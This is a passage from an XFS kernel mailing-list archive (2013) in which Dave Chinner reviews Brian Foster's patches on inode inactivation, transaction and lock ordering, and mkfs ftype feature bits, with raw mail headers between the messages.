N_FTYPE); > + if (niflag) > + respec('n', nopts, N_FTYPE); > + dirftype = atoi(value); > + niflag = 1; > + break; So, niflag indicates that the cli option has been set. Where does that get used? what does the "i" in niflag mean? Wouldn't "nftype_flag" be a better name? And then if it is set, it should be rejected if crcs_enabled is also set, dumping the usage information... > default: > unknown('n', value); > } > @@ -2434,6 +2446,14 @@ _("size %s specified for log subvolume i > } > validate_log_size(logblocks, blocklog, min_logblocks); > > + /* > + * dirent filetype field always enabled on v5 superblocks > + */ > + if (crcs_enabled) { > + sbp->sb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; > + dirftype = 1; > + } So dirftype is set for crc enabled filesystems.... > + > if (!qflag || Nflag) { > printf(_( > "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" > @@ -2441,7 +2461,7 @@ _("size %s specified for log subvolume i > " =%-22s crc=%u\n" > "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" > " =%-22s sunit=%-6u swidth=%u blks\n" > - "naming =version %-14u bsize=%-6u ascii-ci=%d\n" > + "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" Yup, you named it "ftype" here.... > "log =%-22s bsize=%-6d blocks=%lld, version=%d\n" > " =%-22s sectsz=%-5u sunit=%d blks, lazy-count=%d\n" > "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), > @@ -2450,7 +2470,7 @@ _("size %s specified for log subvolume i > "", crcs_enabled, > "", blocksize, (long long)dblocks, imaxpct, > "", dsunit, dswidth, > - dirversion, dirblocksize, nci, > + dirversion, dirblocksize, nci, dirftype, dirftype is used here for output... > logfile, 1 << blocklog, (long long)logblocks, > logversion, "", lsectorsize, lsunit, lazy_sb_counters, > rtfile, rtextblocks << blocklog, > @@ -2512,8 +2532,9 @@ _("size %s specified for log subvolume i > sbp->sb_logsectlog = 0; > sbp->sb_logsectsize = 0; > } > + > sbp->sb_features2 = XFS_SB_VERSION2_MKFS(crcs_enabled, lazy_sb_counters, > - attrversion == 2, !projid16bit, 0); > + attrversion == 2, !projid16bit, 0, dirftype); and for setting the v4 feature bit. Hmmm, that maybe a problem - on v5 filesystems that's setting both the v4 feature and the v5 feature bit. I don't think that is the right thing to do here. It might be fine for an incompat v5 feature bit, but if this was a read-only compat feature bit then the v4 feature bit would prevent the v5 feature bit from working correctly. Hence for new "dual v4/v5 feature bit features", only the relevant feature bit for the filesystem version should be set. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:24:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 08A9129DFB for ; Thu, 19 Sep 2013 18:24:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E0D358F8059 for ; Thu, 19 Sep 2013 16:24:00 -0700 (PDT) X-ASG-Debug-ID: 1379633038-04cb6c2e9f11fcbe0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id cbkpzAHq8dgdjUbv for ; Thu, 19 Sep 2013 16:23:59 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuAIALCGO1J5Lapl/2dsb2JhbABbgwe8eoU/gR0XdIIlAQEEAScTHB4FBQsIAw4KCQwZDwUlAyETh30FujsWjgiBSQcKhBQDl3uRdoM2KoE1 Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Sep 2013 08:53:58 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnZk-0005Lj-9i; Fri, 20 Sep 2013 09:23:56 +1000 Date: Fri, 20 Sep 2013 09:23:56 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks Message-ID: <20130919232356.GN9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> <5239EBA2.4070207@redhat.com> <20130918225120.GC9901@dastard> <523AF184.3030002@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523AF184.3030002@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379633038 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 08:43:48AM -0400, Brian Foster wrote: > On 09/18/2013 06:51 PM, Dave Chinner wrote: > > On Wed, Sep 18, 2013 at 02:06:26PM -0400, Brian Foster wrote: > >> I just want to call out one thing here in case it isn't noticed on > >> review... the safety of this is something I was curious about. > >> Specifically, note that I've removed the inode locking from > >> xfs_inactive(), which previously covered xfs_inactive_symlink() (for > >> xfs_idata_realloc()), down into xfs_inactive_symlink_rmt(). > > > > see my comments about idata_realloc() in the previous email. It > > might be safe, but it's better not to leave a landmine if we add > > some other caller to the function in the future. > > > >> My assumption was that this is currently ok since at this point we have > >> an inode with di_nlink == 0. > > > > It's not an entirely correct assumption. The end result is likely > > the same, but di_nlink has no influence here. i.e. the inode > > lifecycle is rather complex and there is an interesting condition > > that covers inodes going through xfs_inactive(). > > > > xfs_inactive() is called when the VFS reference count goes to zero > > and the VFS inode is being reclaimed, but the XFS_IRECLAIMABLE flag > > is not yet set on it. This doesn't happen until after xfs_inactive() > > completes and the VFS calls ->destroy_inode. Hence the inode is in a > > limbo state where calls to igrab() will fail but the inode can be > > found in the inode radix trees without being marked as "under > > reclaim conditions". > > > > We handle this with xfs_iget_cache_hit() by the use of igrab(), > > which will fail on such an inode, and we use the same logic in > > xfs_inode_ag_walk_grab() to avoid this hole. That said, > > xfs_reclaim_inode_grab() does no such thing - it only checks for > > XFS_IRECLAIMABLE under an RCU traversal, and so may find inodes for > > which that the radix tree reclaimable tag is stale. hence that > > check is always done under a spinlock. > > > > IOWs, the only thing that protects us from outside interference in > > xfs_inactive() is the logic in the XFS inode cache lookups > > specifically avoiding inodes in the transient state that > > xfs_inactive() is called under. It doesn't matter what the contents > > of the inode are - it's the safe transition from one lifecycle state > > to the next that is important at this point. > > > > So, like I said in the previous email, we have to be careful with > > cache lookups to prevent races with the work xfs_inactive() is > > doing, but that doesn't mean we shouldn't still lock the inodes > > correctly when modifying them... > > > > So broadly speaking, the inode states are more granular than my di_nlink > based assumption. More that the inode lifecycle states are not related to the value of di_nlink at all ;) > We have to account for access via internal caches, > even if the inode is in the process of being torn down in the vfs. I'll > have to wade through the caching code much more to understand the > intricacies. ;) Thanks for the breakdown. First you need to understand the VFS inode lifecycle, as the XFS inode lifecycle mostly wraps around the outside of the VFS inode lifecycle. ;) > With regard to the locking here, any preference as to whether > xfs_inactive_symlink() takes the lock and hands it to > xfs_inactive_symlink_rmt() or the former locks/unlocks and the latter > continues to work as implemented in this patch (save other comments to > be addressed)? > > Actually now that I look at the code, xfs_inactive_symlink_rmt() does > the transaction allocation and reservation now, so for that reason I > think the lock/unlock pattern is required. Right, they are effectively two different cases with different locking constraints. Cheers, Dave. > > Brian > > >> If that's not accurate or not expected to > >> remain so after O_TMPFILE related work, I suppose I could pull the > >> locking back up into xfs_inactive_symlink(). > > > > O_TMPFILE itself won't change anything - they will look just like > > any other unlinked inode going through xfs_inactive() on their way > > to the XFS_IRECLAIMABLE state. > > > > It's when we start separating the xfs_inactive() work into multiple > > distinct stages to allow for optimisation of inode freeing that we > > need to be careful as these introduce new states into the lifecycle > > state machine. These will most likely involve new state flags and > > radix tree tags and walks, but AFAICT, overall concept that > > xfs_inactive/xfs_inactive_symlink is run from the same special > > isolated "limbo" context should not change.... > > > > Cheers, > > > > Dave. > > > > -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:29:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 10C1B29DFB for ; Thu, 19 Sep 2013 18:29:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F07F48F8059 for ; Thu, 19 Sep 2013 16:29:21 -0700 (PDT) X-ASG-Debug-ID: 1379633360-04cb6c2e9d11fd080001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vaxvwgVI7gsXGdPT for ; Thu, 19 Sep 2013 16:29:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At8IAOCHO1J5Lapl/2dsb2JhbABbgwe8eoU/gR0XdIIlAQEFOhwjEAgDDgoJDBkPBSUDIROIAro9Fo4agTcHCoQUA5d7kXaDNiqBLQ Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Sep 2013 08:59:19 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnev-0005MH-CO; Fri, 20 Sep 2013 09:29:17 +1000 Date: Fri, 20 Sep 2013 09:29:17 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree Message-ID: <20130919232917.GO9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-4-git-send-email-bfoster@redhat.com> <20130918230620.GE9901@dastard> <523AF196.80205@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523AF196.80205@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379633360 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 08:44:06AM -0400, Brian Foster wrote: > On 09/18/2013 07:06 PM, Dave Chinner wrote: > > On Wed, Sep 18, 2013 at 12:16:00PM -0400, Brian Foster wrote: > >> Push the inode free work performed during xfs_inactive() down into > >> a new xfs_inactive_ifree() helper. This clears xfs_inactive() from > >> all inode locking and transaction management more directly > >> associated with freeing the inode xattrs, extents and the inode > >> itself. ..... > >> + /* > >> + * Credit the quota account(s). The inode is gone. > >> + */ > >> + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); > >> + > >> + /* > >> + * Just ignore errors at this point. There is nothing we can > >> + * do except to try to keep going. Make sure it's not a silent > >> + * error. > >> + */ > >> + error = xfs_bmap_finish(&tp, &free_list, &committed); > >> + if (error) > >> + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", > >> + __func__, error); > >> + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > >> + if (error) > >> + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", > >> + __func__, error); > >> + > >> + xfs_iunlock(ip, XFS_ILOCK_EXCL); > >> + return 0; > >> +} > > > > I suspect we can clean up the error handling here now, and make it > > look like the symlink remove inactive handle where we cancel bmaps > > and abort transactions and trigger shutdowns appropriately. I'd > > leave that to a separate patchset, though ;) > > > > Hmm, well I follow what you mean as far as changing the code I think. > But what changed that makes this safe? Or are you suggesting to shutdown > on a bmap_finish/trans_commit failure instead of just "being noisy?" I was thinking aloud. The error handling there comes from a static checker that pointed out that we weren't handling the errors at all in this code (along with another 50 or so other error handling problems). So rather than change the code logic at the time (because I didn't understand why the code ignored the errors) I simply made failures noisy so we'd find out if there were real errors being ignored there. Now we know that errors in this code path are extremely rare (nobody has ever reported a failure with these errors in them) so it's probably time to convert them to do the correct thing when xfs_bmap_finish() operations fail: abort transactions and potentially shut the filesystem down.... > (Regardless, a separate patchset sounds good..) *nod* Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:42:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DC3829DFB for ; Thu, 19 Sep 2013 18:42:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 83F75AC001 for ; Thu, 19 Sep 2013 16:42:20 -0700 (PDT) X-ASG-Debug-ID: 1379634137-04cbb02c3c11f6570001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 8WdZZGqcaIjVrHmr for ; Thu, 19 Sep 2013 16:42:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuEIAJWKO1J5Lapl/2dsb2JhbABTCIMHrnOOBoU/gR0XdIIlAQEEAScTHCMFCwgDDgoJJQ8FJQMhE4d9BbpDFo4UgT0HhB4Dl3uRdoM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Sep 2013 09:12:17 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnrN-0005Nd-EY; Fri, 20 Sep 2013 09:42:09 +1000 Date: Fri, 20 Sep 2013 09:42:09 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 1/4] xfs: push down inactive transaction mgmt for remote symlinks Message-ID: <20130919234209.GP9901@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 1/4] xfs: push down inactive transaction mgmt for remote symlinks References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> <1379618121-35105-2-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379618121-35105-2-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379634138 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 03:15:18PM -0400, Brian Foster wrote: > Push down the transaction management for remote symlinks from > xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is > cleaned up to avoid transaction management intended for the > calling context (i.e., trans duplication, reservation, item > attachment). > > Signed-off-by: Brian Foster Couple of things.... > index f622a97..2ce31a5 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -424,8 +424,7 @@ xfs_symlink( > */ > STATIC int > xfs_inactive_symlink_rmt( > - xfs_inode_t *ip, > - xfs_trans_t **tpp) > + xfs_inode_t *ip) struct xfs_inode > > + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); > + if (error) > + goto error_trans_cancel; > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, 0); Ok, here's where naming the jump labels sanely points out problems. We've locked and joined the inode to the transaction. That means we can't unlock the inode until *after* we've committed or aborted the transaction. Unlocking it before the abort mens someone else can lock it into a transaction and modify it before the abort is processed.... That means the error handling stack is doing things the wrong way around. To fix it, I'd get rid of the error_trans_cancel label and just cancel the transaction directly if xfs_trans_reserve() fails. That doesn't need the abort flag, as nothing has been added to the transaction at that point. Then the "error_unlock" case can be converted to cancel the transaction and then unlock the inode (maybe rename that case to "error_trans_cancel"). > @@ -508,29 +515,16 @@ xfs_inactive_symlink_rmt( > * Mark it dirty so it will be logged and moved forward in the log as > * part of every commit. > */ > - xfs_trans_ijoin(tp, ip, 0); > + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); > xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > /* > - * Get a new, empty transaction to return to our caller. > - */ > - ntp = xfs_trans_dup(tp); > - /* > * Commit the transaction containing extent freeing and EFDs. > - * If we get an error on the commit here or on the reserve below, > - * we need to unlock the inode since the new transaction doesn't > - * have the inode attached. > */ > - error = xfs_trans_commit(tp, 0); > - tp = ntp; > + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > if (error) { > ASSERT(XFS_FORCED_SHUTDOWN(mp)); > - goto error0; > + goto error_trans_cancel; There's not need to cancel a transaction on a commit error. An error in the commit will run an abort/cancel before it returns, and as such the transaction handle is always unusable on return from xfs_trans_commit()... > - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > - > if (XFS_FORCED_SHUTDOWN(mp)) > return XFS_ERROR(EIO); > > @@ -590,14 +572,19 @@ xfs_inactive_symlink( > return XFS_ERROR(EFSCORRUPTED); > } > > + xfs_ilock(ip, XFS_ILOCK_EXCL); You should lock before checking the size of the inode. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:48:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DE35929DFB for ; Thu, 19 Sep 2013 18:48:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5E154AC002 for ; Thu, 19 Sep 2013 16:48:05 -0700 (PDT) X-ASG-Debug-ID: 1379634483-04cbb02c3a11f6a50001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id G7G2An3hI8B9O82o for ; Thu, 19 Sep 2013 16:48:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At8IAL+MO1J5Lapl/2dsb2JhbABbgwe8eYU/gR0XdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIArpFFo9RB4QeA5d7kXaDNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Sep 2013 09:17:28 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnwT-0005OA-Nk; Fri, 20 Sep 2013 09:47:25 +1000 Date: Fri, 20 Sep 2013 09:47:25 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 2/4] xfs: push down inactive transaction mgmt for truncate Message-ID: <20130919234725.GQ9901@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/4] xfs: push down inactive transaction mgmt for truncate References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> <1379618121-35105-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379618121-35105-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379634483 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 03:15:19PM -0400, Brian Foster wrote: > Create the new xfs_inactive_truncate() function to handle the > truncate portion of xfs_inactive(). Push the locking and > transaction management into the new function. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 117 +++++++++++++++++++++++++++++++---------------------- > 1 file changed, 68 insertions(+), 49 deletions(-) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 30db70e..33bb9be 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1663,6 +1663,58 @@ xfs_release( > } > > /* > + * xfs_inactive_truncate > + * > + * Called to perform a truncate when an inode becomes unlinked. > + */ > +STATIC int > +xfs_inactive_truncate( > + struct xfs_inode *ip) > +{ > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_trans *tp; > + int error; > + > + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > + > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); > + if (error) { > + ASSERT(XFS_FORCED_SHUTDOWN(mp)); > + goto error_trans_cancel; > + } > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, 0); > + > + /* > + * Log the inode size first to prevent stale data exposure in the event > + * of a system crash before the truncate completes. See the related > + * comment in xfs_setattr_size() for details. > + */ > + ip->i_d.di_size = 0; > + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > + > + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); > + if (error) > + goto error_unlock; > + > + ASSERT(ip->i_d.di_nextents == 0); > + > + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > + if (error) > + goto error_unlock; Same again - no cancel on commit error, just fall through and return the error.... > + > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > + return 0; > + > +error_unlock: > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > +error_trans_cancel: > + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); Same again w.r.t. unlock/cancel. FWIW, see xfs_free_file_space() for an example of how the ordering is supposed to work. And, note: > - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > - resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; > - > - error = xfs_trans_reserve(tp, resp, 0, 0); > - if (error) { > - ASSERT(XFS_FORCED_SHUTDOWN(mp)); > - xfs_trans_cancel(tp, 0); Different flags :) > @@ -1831,13 +1854,9 @@ xfs_inactive( > * Release the dquots held by inode, if any. > */ > xfs_qm_dqdetach(ip); > -out_unlock: > xfs_iunlock(ip, XFS_ILOCK_EXCL); > out: > return VN_INACTIVE_CACHE; > -out_cancel: > - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); > - goto out_unlock; And the ordering of the previous code... :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:49:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 037F829DFB for ; Thu, 19 Sep 2013 18:49:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E38BF8F8066 for ; Thu, 19 Sep 2013 16:49:10 -0700 (PDT) X-ASG-Debug-ID: 1379634548-04cb6c37773979f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id EBEpbuKZALr5L9sm for ; Thu, 19 Sep 2013 16:49:09 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4IAL+MO1J5Lapl/2dsb2JhbABbgwe8eYU/gR0XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gCukUWj1EHhB4Dl3uRdoM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Sep 2013 09:19:08 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMny5-0005OJ-6S; Fri, 20 Sep 2013 09:49:05 +1000 Date: Fri, 20 Sep 2013 09:49:05 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 3/4] xfs: push down inactive transaction mgmt for ifree Message-ID: <20130919234905.GR9901@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/4] xfs: push down inactive transaction mgmt for ifree References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> <1379618121-35105-4-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379618121-35105-4-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379634548 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 03:15:20PM -0400, Brian Foster wrote: > Push the inode free work performed during xfs_inactive() down into > a new xfs_inactive_ifree() helper. This clears xfs_inactive() from > all inode locking and transaction management more directly > associated with freeing the inode xattrs, extents and the inode > itself. > > Signed-off-by: Brian Foster Looks good. I'll wait for the fixed versions of the other patches so i can test it before signing off on it. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:50:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 40D7D29DFB for ; Thu, 19 Sep 2013 18:50:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 330718F8066 for ; Thu, 19 Sep 2013 16:50:48 -0700 (PDT) 